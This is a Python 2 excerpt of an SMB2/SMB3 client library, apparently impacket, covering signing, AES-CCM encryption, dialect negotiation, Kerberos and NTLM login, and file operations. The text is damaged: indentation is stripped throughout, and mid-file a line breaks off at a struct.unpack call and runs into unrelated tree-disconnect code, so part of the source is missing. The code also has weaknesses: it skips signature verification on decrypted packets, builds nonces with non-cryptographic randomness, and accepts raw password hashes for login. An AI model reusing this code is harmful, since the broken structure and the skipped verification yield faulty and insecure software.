# If Connection.Dialect is equal to "3.000" and if Connection.SupportsMultiChannel or
# Connection.SupportsPersistentHandles is TRUE, the client MUST set ChannelSequence in the
# SMB2 header to Session.ChannelSequence
# Check this is not a CANCEL request. If so, don't consume sequece numbers
if packet['Command'] is not SMB2_CANCEL:
packet['MessageID'] = self._Connection['SequenceWindow']
self._Connection['SequenceWindow'] += 1
packet['SessionID'] = self._Session['SessionID']
# Default the credit charge to 1 unless set by the caller
if packet.fields.has_key('CreditCharge') is False:
packet['CreditCharge'] = 1
# Standard credit request after negotiating protocol
if self._Connection['SequenceWindow'] > 3:
packet['CreditRequestResponse'] = 127
messageId = packet['MessageID']
if self._Session['SigningActivated'] is True and self._Connection['SequenceWindow'] > 2:
if packet['TreeID'] > 0 and self._Session['TreeConnectTable'].has_key(packet['TreeID']) is True:
if self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is False:
packet['Flags'] = SMB2_FLAGS_SIGNED
self.signSMB(packet)
elif packet['TreeID'] == 0:
packet['Flags'] = SMB2_FLAGS_SIGNED
self.signSMB(packet)
if (self._Session['SessionFlags'] & SMB2_SESSION_FLAG_ENCRYPT_DATA) or ( packet['TreeID'] != 0 and self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is True):
plainText = str(packet)
transformHeader = SMB2_TRANSFORM_HEADER()
transformHeader['Nonce'] = ''.join([random.choice(string.letters) for i in range(11)])
transformHeader['OriginalMessageSize'] = len(plainText)
transformHeader['EncryptionAlgorithm'] = SMB2_ENCRYPTION_AES128_CCM
transformHeader['SessionID'] = self._Session['SessionID']
from Crypto.Cipher import AES
try:
AES.MODE_CCM
except:
LOG.critical("Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.\nDownload it from https://www.dlitz.net/software/pycrypto ")
raise
cipher = AES.new(self._Session['EncryptionKey'], AES.MODE_CCM, transformHeader['Nonce'])
cipher.update(str(transformHeader)[20:])
cipherText = cipher.encrypt(plainText)
transformHeader['Signature'] = cipher.digest()
packet = str(transformHeader) + cipherText
self._NetBIOSSession.send_packet(str(packet))
return messageId
def recvSMB(self, packetID = None):
# First, verify we don't have the packet already
if self._Connection['OutstandingResponses'].has_key(packetID):
return self._Connection['OutstandingResponses'].pop(packetID)
data = self._NetBIOSSession.recv_packet(self._timeout)
if data.get_trailer().startswith('\xfdSMB'):
# Packet is encrypted
transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())
from Crypto.Cipher import AES
try:
AES.MODE_CCM
except:
LOG.critical("Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.\nDownload it from https://www.dlitz.net/software/pycrypto ")
raise
cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM, transformHeader['Nonce'][:11])
cipher.update(str(transformHeader)[20:])
plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])
#cipher.verify(transformHeader['Signature'])
packet = SMB2Packet(plainText)
else:
# In all SMB dialects for a response this field is interpreted as the Status field.
# This field can be set to any value. For a list of valid status codes,
# see [MS-ERREF] section 2.3.
packet = SMB2Packet(data.get_trailer())
# Loop while we receive pending requests
if packet['Status'] == STATUS_PENDING:
status = STATUS_PENDING
while status == STATUS_PENDING:
data = self._NetBIOSSession.recv_packet(self._timeout)
if data.get_trailer().startswith('\xfeSMB'):
packet = SMB2Packet(data.get_trailer())
else:
# Packet is encrypted
transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())
from Crypto.Cipher import AES
try:
AES.MODE_CCM
except:
LOG.critical("Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.\nDownload it from https://www.dlitz.net/software/pycrypto ")
raise
cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM, transformHeader['Nonce'][:11])
cipher.update(str(transformHeader)[20:])
plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])
#cipher.verify(transformHeader['Signature'])
packet = SMB2Packet(plainText)
status = packet['Status']
if packet['MessageID'] == packetID or packetID is None:
# if self._Session['SigningRequired'] is True:
# self.signSMB(packet)
# Let's update the sequenceWindow based on the CreditsCharged
self._Connection['SequenceWindow'] += (packet['CreditCharge'] - 1)
return packet
else:
self._Connection['OutstandingResponses'][packet['MessageID']] = packet
return self.recvSMB(packetID)
def negotiateSession(self, preferredDialect = None):
packet = self.SMB_PACKET()
packet['Command'] = SMB2_NEGOTIATE
negSession = SMB2Negotiate()
negSession['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
if self.RequireMessageSigning is True:
negSession['SecurityMode'] |= SMB2_NEGOTIATE_SIGNING_REQUIRED
negSession['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
negSession['ClientGuid'] = self.ClientGuid
if preferredDialect is not None:
negSession['Dialects'] = [preferredDialect]
else:
negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
negSession['DialectCount'] = len(negSession['Dialects'])
packet['Data'] = negSession
# Storing this data for later use
self._Connection['ClientSecurityMode'] = negSession['SecurityMode']
self._Connection['Capabilities'] = negSession['Capabilities']
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
# ToDo this:
# If the DialectRevision in the SMB2 NEGOTIATE Response is 0x02FF, the client MUST issue a new
# SMB2 NEGOTIATE request as described in section 3.2.4.2.2.2 with the only exception
# that the client MUST allocate sequence number 1 from Connection.SequenceWindow, and MUST set
# MessageId field of the SMB2 header to 1. Otherwise, the client MUST proceed as follows.
negResp = SMB2Negotiate_Response(ans['Data'])
self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
self._Connection['ServerGuid'] = negResp['ServerGuid']
self._Connection['GSSNegotiateToken'] = negResp['Buffer']
self._Connection['Dialect'] = negResp['DialectRevision']
if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
self._Connection['RequireSigning'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
self._Connection['SupportsFileLeasing'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
self._Connection['SupportsMultiCredit'] = True
if self._Connection['Dialect'] == SMB2_DIALECT_30:
# Switching to the right packet format
self.SMB_PACKET = SMB3Packet
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
self._Connection['SupportsDirectoryLeasing'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
self._Connection['SupportsMultiChannel'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
self._Connection['SupportsPersistentHandles'] = True
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
self._Connection['SupportsEncryption'] = True
self._Connection['ServerCapabilities'] = negResp['Capabilities']
self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
def getCredentials(self):
return (
self.__userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
self.__TGT,
self.__TGS)
def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', aesKey='', kdcHost = '', TGT=None, TGS=None):
# If TGT or TGS are specified, they are in the form of:
# TGS['KDC_REP'] = the response from the server
# TGS['cipher'] = the cipher used
# TGS['sessionKey'] = the sessionKey
# If we have hashes, normalize them
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = a2b_hex(lmhash)
nthash = a2b_hex(nthash)
except:
pass
self.__userName = user
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__kdc = kdcHost
self.__aesKey = aesKey
self.__TGT = TGT
self.__TGS = TGS
sessionSetup = SMB2SessionSetup()
if self.RequireMessageSigning is True:
sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED
else:
sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
sessionSetup['Flags'] = 0
#sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Save the ticket
# If you want, for debugging purposes
# from impacket.krb5.ccache import CCache
# ccache = CCache()
# try:
# if TGS is None:
# ccache.fromTGT(tgt, oldSessionKey, sessionKey)
# else:
# ccache.fromTGS(TGS['KDC_REP'], TGS['oldSessionKey'], TGS['sessionKey'] )
# ccache.saveFile('/tmp/ticket.bin')
# except Exception, e:
# print e
# pass
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal('cifs/%s' % (self._Connection['ServerName']), type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = self.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
self._Session['SessionID'] = ans['SessionID']
self._Session['SigningRequired'] = self._Connection['RequireSigning']
self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)
self._Session['Connection'] = self._NetBIOSSession.get_socket()
self._Session['SessionKey'] = sessionKey.contents[:16]
if self._Session['SigningRequired'] is True and self._Connection['Dialect'] == SMB2_DIALECT_30:
self._Session['SigningKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], "SMB2AESCMAC\x00", "SmbSign\x00", 128)
# Calculate the key derivations for dialect 3.0
if self._Session['SigningRequired'] is True:
self._Session['SigningActivated'] = True
if self._Connection['Dialect'] == SMB2_DIALECT_30:
self._Session['ApplicationKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], "SMB2APP\x00", "SmbRpc\x00", 128)
self._Session['EncryptionKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], "SMB2AESCCM\x00", "ServerIn \x00", 128)
self._Session['DecryptionKey'] = crypto.KDF_CounterMode(self._Session['SessionKey'], "SMB2AESCCM\x00", "ServerOut\x00", 128)
return True
else:
# We clean the stuff we used in case we want to authenticate again
# within the same connection
self._Session['UserCredentials'] = ''
self._Session['Connection'] = 0
self._Session['SessionID'] = 0
self._Session['SigningRequired'] = False
self._Session['SigningKey'] = ''
self._Session['SessionKey'] = ''
self._Session['SigningActivated'] = False
raise
def login(self, user, password, domain = '', lmhash = '', nthash = ''):
# If we have hashes, normalize them
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = a2b_hex(lmhash)
nthash = a2b_hex(nthash)
except:
pass
self.__userName = user
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__aesKey = ''
self.__TGT = None
self.__TGS = None
sessionSetup = SMB2SessionSetup()
if self.RequireMessageSigning is True:
sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED
else:
sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
sessionSetup['Flags'] = 0
#sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
auth = ntlm.getNTLMSSPType1('','', self._Connection['RequireSigning'])
blob['MechToken'] = str(auth)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
# ToDo:
# If this authentication is for establishing an alternative channel for an existing Session, as specified
# in section 3.2.4.1.7, the client MUST also set the following values:
# The SessionId field in the SMB2 header MUST be set to the Session.SessionId for the new
# channel being established.
# The SMB2_SESSION_FLAG_BINDING bit MUST be set in the Flags field.
# The PreviousSessionId field MUST be set to zero.
packet = self.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
self._Session['SessionID'] = ans['SessionID']
self._Session['SigningRequired'] = self._Connection['RequireSigning']
self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)
self._Session['Connection'] = self._NetBIOSSession.get_socket()
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
# Let's parse some data and keep it to ourselves in case it is asked
ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])
if ntlmChallenge['TargetInfoFields_len'] > 0:
av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
try:
self._Session['ServerName'] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
try:
if self._Session['ServerName'] != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):
self._Session['ServerDomain'] = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
try:
self._Session['ServerDNSDomainName'] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
# Parse Version to know the target Operating system name. Not provided elsewhere anymore
if ntlmChallenge.fields.has_key('Version'):
version = ntlmChallenge['Version']
if len(version) >= 4:
self._Session['ServerOS'] = "Windows %d.%d Build %d" % (ord(version[0]), ord(version[1]), struct.unpack(' 1:
treeEntry = self._Session['TreeConnectTable'][treeId]
treeEntry['NumberOfUses'] -= 1
self._Session['TreeConnectTable'][treeEntry['ShareName']]['NumberOfUses'] -= 1
return True
packet = self.SMB_PACKET()
packet['Command'] = SMB2_TREE_DISCONNECT
packet['TreeID'] = treeId
treeDisconnect = SMB2TreeDisconnect()
packet['Data'] = treeDisconnect
packetID = self.sendSMB(packet)
packet = self.recvSMB(packetID)
if packet.isValidAnswer(STATUS_SUCCESS):
shareName = self._Session['TreeConnectTable'][treeId]['ShareName']
del(self._Session['TreeConnectTable'][shareName])
del(self._Session['TreeConnectTable'][treeId])
return True
def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
fileName = string.replace(fileName, '/', '\\')
if len(fileName) > 0:
fileName = ntpath.normpath(fileName)
if fileName[0] == '\\':
fileName = fileName[1:]
if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
pathName = fileName
else:
pathName = '\\\\' + self._Connection['ServerName'] + '\\' + fileName
fileEntry = copy.deepcopy(FILE)
fileEntry['LeaseKey'] = uuid.generate()
fileEntry['LeaseState'] = SMB2_LEASE_NONE
self.GlobalFileTable[pathName] = fileEntry
if self._Connection['Dialect'] == SMB2_DIALECT_30 and self._Connection['SupportsDirectoryLeasing'] is True:
# Is this file NOT on the root directory?
if len(fileName.split('\\')) > 2:
parentDir = ntpath.dirname(pathName)
if self.GlobalFileTable.has_key(parentDir):
LOG.critical("Don't know what to do now! :-o")
raise
else:
parentEntry = copy.deepcopy(FILE)
parentEntry['LeaseKey'] = uuid.generate()
parentEntry['LeaseState'] = SMB2_LEASE_NONE
self.GlobalFileTable[parentDir] = parentEntry
packet = self.SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName)*2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
openFile = copy.deepcopy(OPEN)
openFile['FileID'] = createResponse['FileID']
openFile['TreeConnect'] = treeId
openFile['Oplocklevel'] = oplockLevel
openFile['Durable'] = False
openFile['ResilientHandle'] = False
openFile['LastDisconnectTime'] = 0
openFile['FileName'] = pathName
# ToDo: Complete the OperationBuckets
if self._Connection['Dialect'] == SMB2_DIALECT_30:
openFile['DesiredAccess'] = oplockLevel
openFile['ShareMode'] = oplockLevel
openFile['CreateOptions'] = oplockLevel
openFile['FileAttributes'] = oplockLevel
openFile['CreateDisposition'] = oplockLevel
# ToDo: Process the contexts
self._Session['OpenTable'][str(createResponse['FileID'])] = openFile
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def close(self, treeId, fileId):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_CLOSE
packet['TreeID'] = treeId
smbClose = SMB2Close()
smbClose['Flags'] = 0
smbClose['FileID'] = fileId
packet['Data'] = smbClose
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
del(self.GlobalFileTable[self._Session['OpenTable'][fileId]['FileName']])
del(self._Session['OpenTable'][fileId])
# ToDo Remove stuff from GlobalFileTable
return True
def read(self, treeId, fileId, offset = 0, bytesToRead = 0, waitAnswer = True):
# IMPORTANT NOTE: As you can see, this was coded as a recursive function
# Hence, you can exhaust the memory pretty easy ( large bytesToRead )
# This function should NOT be used for reading files directly, but another higher
# level function should be used that will break the read into smaller pieces
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_READ
packet['TreeID'] = treeId
if self._Connection['MaxReadSize'] < bytesToRead:
maxBytesToRead = self._Connection['MaxReadSize']
else:
maxBytesToRead = bytesToRead
if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
packet['CreditCharge'] = ( 1 + (maxBytesToRead - 1) / 65536)
else:
maxBytesToRead = min(65536,bytesToRead)
smbRead = SMB2Read()
smbRead['Padding'] = 0x50
smbRead['FileID'] = fileId
smbRead['Length'] = maxBytesToRead
smbRead['Offset'] = offset
packet['Data'] = smbRead
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
readResponse = SMB2Read_Response(ans['Data'])
retData = readResponse['Buffer']
if readResponse['DataRemaining'] > 0:
retData += self.read(treeId, fileId, offset+len(retData), readResponse['DataRemaining'], waitAnswer)
return retData
def write(self, treeId, fileId, data, offset = 0, bytesToWrite = 0, waitAnswer = True):
# IMPORTANT NOTE: As you can see, this was coded as a recursive function
# Hence, you can exhaust the memory pretty easy ( large bytesToWrite )
# This function should NOT be used for writing directly to files, but another higher
# level function should be used that will break the writes into smaller pieces
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_WRITE
packet['TreeID'] = treeId
if self._Connection['MaxWriteSize'] < bytesToWrite:
maxBytesToWrite = self._Connection['MaxWriteSize']
else:
maxBytesToWrite = bytesToWrite
if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
packet['CreditCharge'] = ( 1 + (maxBytesToWrite - 1) / 65536)
else:
maxBytesToWrite = min(65536,bytesToWrite)
smbWrite = SMB2Write()
smbWrite['FileID'] = fileId
smbWrite['Length'] = maxBytesToWrite
smbWrite['Offset'] = offset
smbWrite['WriteChannelInfoOffset'] = 0
smbWrite['Buffer'] = data[:maxBytesToWrite]
packet['Data'] = smbWrite
packetID = self.sendSMB(packet)
if waitAnswer is True:
ans = self.recvSMB(packetID)
else:
return maxBytesToWrite
if ans.isValidAnswer(STATUS_SUCCESS):
writeResponse = SMB2Write_Response(ans['Data'])
bytesWritten = writeResponse['Count']
if bytesWritten < bytesToWrite:
bytesWritten += self.write(treeId, fileId, data[bytesWritten:], offset+bytesWritten, bytesToWrite-bytesWritten, waitAnswer)
return bytesWritten
def queryDirectory(self, treeId, fileId, searchString = '*', resumeIndex = 0, informationClass = FILENAMES_INFORMATION, maxBufferSize = None, enumRestart = False, singleEntry = False):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_QUERY_DIRECTORY
packet['TreeID'] = treeId
queryDirectory = SMB2QueryDirectory()
queryDirectory['FileInformationClass'] = informationClass
if resumeIndex != 0 :
queryDirectory['Flags'] = SMB2_INDEX_SPECIFIED
queryDirectory['FileIndex'] = resumeIndex
queryDirectory['FileID'] = fileId
if maxBufferSize is None:
maxBufferSize = self._Connection['MaxReadSize']
queryDirectory['OutputBufferLength'] = maxBufferSize
queryDirectory['FileNameLength'] = len(searchString)*2
queryDirectory['Buffer'] = searchString.encode('utf-16le')
packet['Data'] = queryDirectory
if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:
packet['CreditCharge'] = ( 1 + (maxBufferSize - 1) / 65536)
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
queryDirectoryResponse = SMB2QueryDirectory_Response(ans['Data'])
return queryDirectoryResponse['Buffer']
def echo(self):
packet = self.SMB_PACKET()
packet['Command'] = SMB2_ECHO
smbEcho = SMB2Echo()
packet['Data'] = smbEcho
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
return True
def cancel(self, packetID):
packet = self.SMB_PACKET()
packet['Command'] = SMB2_CANCEL
packet['MessageID'] = packetID
smbCancel = SMB2Cancel()
packet['Data'] = smbCancel
self.sendSMB(packet)
def ioctl(self, treeId, fileId = None, ctlCode = -1, flags = 0, inputBlob = '', maxInputResponse = None, maxOutputResponse = None, waitAnswer = 1):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if fileId is None:
fileId = '\xff'*16
else:
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_IOCTL
packet['TreeID'] = treeId
smbIoctl = SMB2Ioctl()
smbIoctl['FileID'] = fileId
smbIoctl['CtlCode'] = ctlCode
smbIoctl['MaxInputResponse'] = maxInputResponse
smbIoctl['MaxOutputResponse'] = maxOutputResponse
smbIoctl['InputCount'] = len(inputBlob)
if len(inputBlob) == 0:
smbIoctl['InputOffset'] = 0
smbIoctl['Buffer'] = '\x00'
else:
smbIoctl['Buffer'] = inputBlob
smbIoctl['OutputOffset'] = 0
smbIoctl['MaxOutputResponse'] = maxOutputResponse
smbIoctl['Flags'] = flags
packet['Data'] = smbIoctl
packetID = self.sendSMB(packet)
if waitAnswer == 0:
return True
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])
return smbIoctlResponse['Buffer']
def flush(self,treeId, fileId):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_FLUSH
packet['TreeID'] = treeId
smbFlush = SMB2Flush()
smbFlush['FileID'] = fileId
packet['Data'] = smbFlush
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
return True
def lock(self, treeId, fileId, locks, lockSequence = 0):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_LOCK
packet['TreeID'] = treeId
smbLock = SMB2Lock()
smbLock['FileID'] = fileId
smbLock['LockCount'] = len(locks)
smbLock['LockSequence'] = lockSequence
smbLock['Locks'] = ''.join(str(x) for x in locks)
packet['Data'] = smbLock
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
smbFlushResponse = SMB2Lock_Response(ans['Data'])
return True
# ToDo:
# If Open.ResilientHandle is TRUE or Connection.SupportsMultiChannel is TRUE, the client MUST
# do the following:
# The client MUST scan through Open.OperationBuckets and find an element with its Free field
# set to TRUE. If no such element could be found, an implementation-specific error MUST be
# returned to the application.
# Let the zero-based array index of the element chosen above be referred to as BucketIndex, and
# let BucketNumber = BucketIndex +1.
# Set Open.OperationBuckets[BucketIndex].Free = FALSE
# Let the SequenceNumber of the element chosen above be referred to as BucketSequence.
# The LockSequence field of the SMB2 lock request MUST be set to (BucketNumber<< 4) +
# BucketSequence.
# Increment the SequenceNumber of the element chosen above using MOD 16 arithmetic.
def logoff(self):
packet = self.SMB_PACKET()
